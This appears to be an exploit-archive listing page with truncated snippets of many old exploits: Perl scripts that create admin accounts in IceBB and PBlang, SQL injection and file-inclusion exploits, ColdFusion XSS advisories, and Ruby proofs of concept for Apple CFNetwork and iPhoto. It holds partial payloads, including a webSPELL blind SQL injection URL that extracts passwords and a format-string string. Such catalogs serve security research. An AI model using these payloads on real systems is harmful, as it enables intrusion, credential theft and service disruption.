IceBB 1.0-rc5 Remote Code Execution Exploit

Exploit for unknown platform in category web applications =========================================== IceBB 1.0-rc5 Remote Code Execution Exploit =========================================== !/usr/bin/perl IceBB 1.0-rc5 Remote Code Execution Exploit 1. register a user 2. run this exploit with this...

IceBB 1.0-rc5 - Remote Create Admin

IceBB 1.0-rc5 - Remote Create Admin !/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : - magicquotesgpc = Off Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use...

IceBB 1.0-rc5 Remote Create Admin Exploit

Exploit for unknown platform in category web applications ========================================= IceBB 1.0-rc5 Remote Create Admin Exploit ========================================= !/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage :...

PBlang 4.66z - Remote Create Admin

PBlang 4.66z - Remote Create Admin !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...

Woltlab Burning Board 2.x (usergroups.php) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Woltlab Burning Board 2.X usergroups.php SQL Injection exploit - burned2.pl written by x666 [email protected] jmp-esp.kicks-ass.net;blueshisha.chills.it SR-CREW should work on every wbb regardless of php settings. use strict; use warnings;...

News-Letterman 1.1 - eintrag.php?sqllog Remote File Inclusion

News-Letterman 1.1 - eintrag.php?sqllog Remote File Inclusion !/usr/bin/perl News-Letterman 1.1 eintrag.php Remote File Include Exploit Download: http://www.weltennetz.de/download/letterman1.1.zip Vulnerable Code: include $sqllog; Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shel...

Cross site scripting

Cross-site scripting XSS vulnerability in Adobe ColdFusion web server allows remote attackers to inject arbitrary HTML or web script via the User-Agent HTTP header, which is not sanitized before being displayed in an error page...

CVE-2007-0817

Cross-site scripting XSS vulnerability in Adobe ColdFusion web server allows remote attackers to inject arbitrary HTML or web script via the User-Agent HTTP header, which is not sanitized before being displayed in an error page...

CVE-2007-0817

CVE-2007-0817 is a cross-site scripting vulnerability in Adobe ColdFusion web server. The issue stems from failing to sanitize the User-Agent HTTP header before displaying it on the error page, allowing remote attackers to inject arbitrary HTML/script. Some sources note potential session hijackin...

cold-xss.txt

Title: Cold Fusion Web Server XSS 0 day Own3d by: digi7al64 thx: WhiteAcid About: Default settings in Cold Fusion server ensure it returns a standardized error page whenever a exception occurs 404,500 etc. This page then echos the user agent, ip and referer back to the user for debugging purposes...

Cold Fusion Web Server XSS 0 day

Title: Cold Fusion Web Server XSS 0 day Own3d by: digi7al64 thx: WhiteAcid About: Default settings in Cold Fusion server ensure it returns a standardized error page whenever a exception occurs 404,500 etc. This page then echos the user agent, ip and referer back to the user for debugging purposes...

Adobe ColdFusion 67 - User_Agent Error Page Cross-Site Scripting

Adobe ColdFusion 67 - UserAgent Error Page Cross-Site Scripting source: https://www.securityfocus.com/bid/22401/info Adobe ColdFusion is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker could exploit this vulnerability to...

ColdFusion crossite scripting

User-Agent field from HTTP request is used unfiltered in error message text. It's possible to manipulate client's User-Agent field through Flash...

MOAB-25-01-2007.rb.txt

!/usr/bin/ruby c Copyright 2007 Lance M. Havok Proof of concept for MOAB-25-01-2007. require 'socket' webport = ARGV0 || 80.toi puts "++ Starting HTTP server at port webport." webserver = TCPServer.newnil, webport while session = webserver.accept randclen = rand80 useragent =...

Apple CFNetwork HTTP Response Denial of Service Exploit (rb code)

Exploit for macOS platform in category dos / poc ================================================================= Apple CFNetwork HTTP Response Denial of Service Exploit rb code ================================================================= !/usr/bin/ruby c Copyright 2007 Lance M. Havok Proof...

Apple CFNetwork - HTTP Response Denial of Service (Ruby)

Apple CFNetwork - HTTP Response Denial of Service Ruby !/usr/bin/ruby c Copyright 2007 Lance M. Havok Proof of concept for MOAB-25-01-2007. require 'socket' webport = ARGV0 || 80.toi puts "++ Starting HTTP server at port webport." webserver = TCPServer.newnil, webport while session =...

Apple CFNetwork - HTTP Response Denial of Service

!/usr/bin/ruby c Copyright 2007 Lance M. Havok Proof of concept for MOAB-25-01-2007. require 'socket' webport = ARGV0 || 80.toi puts "++ Starting HTTP server at port webport." webserver = TCPServer.newnil, webport while session = webserver.accept randclen = rand80 useragent =...

webSPELL 4.01.02 - gallery.php Blind SQL Injection

webSPELL 4.01.02 - gallery.php Blind SQL Injection allowredirection1; $xpl-cookiejar1; function istrue$xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h...

webSPELL 4.01.02 - 'gallery.php' Blind SQL Injection

allowredirection1; $xpl-cookiejar1; function istrue$xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h $xpl-get"http://".$host.$path."gallery.php?action=window&galleryID=".$gid."&picID=".$pid."%20AND%20MIDSELECT%20password%20FROM%20".$prefix."user%20WHERE%20userID=".$uid.",".$i.",1=CHAR".$h."";...

MOAB-04-01-2007.rb.txt

!/usr/bin/ruby c 2006 LMH bug by Kevin Finisterre proof of concept for MOAB-04-01-2007 see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb require 'socket' IPHOTOFEED = "\r\n" + "\r\n" + "\r\n" + "" + "A" 256 + "%x.%n.%n.%n.%n.%n\r\n" + "\r\n" + "In Gruber We Trust\r\n" +...